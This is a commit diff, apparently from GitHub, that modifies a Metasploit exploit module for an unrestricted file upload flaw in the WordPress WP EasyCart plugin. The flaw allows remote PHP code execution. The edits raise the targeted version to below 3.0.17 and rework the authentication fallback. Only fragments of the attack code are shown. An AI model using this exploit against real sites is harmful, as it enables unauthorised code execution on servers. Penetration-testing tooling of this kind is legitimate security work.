@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
14
14
def initialize ( info = { } )
15
15
super ( update_info (
16
16
info ,
17
- 'Name' => 'WordPress WP EasyCart 3.0.4 Unrestricted File Upload' ,
17
+ 'Name' => 'WordPress WP EasyCart Unrestricted File Upload' ,
18
18
'Description' => %q{WordPress Shopping Cart (WP EasyCart) Plugin for
19
19
WordPress contains a flaw that allows a remote
20
20
attacker to execute arbitrary PHP code. This
@@ -49,7 +49,7 @@ def initialize(info = {})
49
49
'DisclosureDate' => 'Jan 08 2015' ,
50
50
'Platform' => 'php' ,
51
51
'Arch' => ARCH_PHP ,
52
- 'Targets' => [ [ 'wp-easycart < 3.0.16 ' , { } ] ] ,
52
+ 'Targets' => [ [ 'wp-easycart < 3.0.17 ' , { } ] ] ,
53
53
'DefaultTarget' => 0
54
54
) )
55
55
@@ -95,7 +95,7 @@ def req_id
95
95
end
96
96
97
97
def check
98
- check_plugin_version_from_readme ( 'wp-easycart' , '3.0.16 ' )
98
+ check_plugin_version_from_readme ( 'wp-easycart' , '3.0.17 ' )
99
99
end
100
100
101
101
def generate_mime_message ( payload , date_hash , name , include_req_id )
@@ -126,13 +126,15 @@ def exploit
126
126
print_status ( "#{ peer } - Authenticating using #{ username } :#{ password } ..." )
127
127
cookie = wordpress_login ( username , password )
128
128
129
- if use_ec_authentication
130
- print_warning ( "#{ peer } - Failed to authenticate with WordPress, attempting upload with EC password next..." ) if cookie . nil?
129
+ if !cookie
130
+ if use_ec_authentication
131
+ print_warning ( "#{ peer } - Failed to authenticate with WordPress, attempting upload with EC password next..." )
132
+ else
133
+ fail_with ( Failure ::NoAccess , 'Failed to authenticate with WordPress' )
134
+ end
131
135
else
132
- fail_with ( Failure :: NoAccess , 'Failed to authenticate with WordPress' ) if cookie . nil?
136
+ print_good ( " #{ peer } - Authenticated with WordPress" )
133
137
end
134
-
135
- print_good ( "#{ peer } - Authenticated with WordPress" ) unless cookie . nil?
136
138
end
137
139
138
140
print_status ( "#{ peer } - Preparing payload..." )
0 commit comments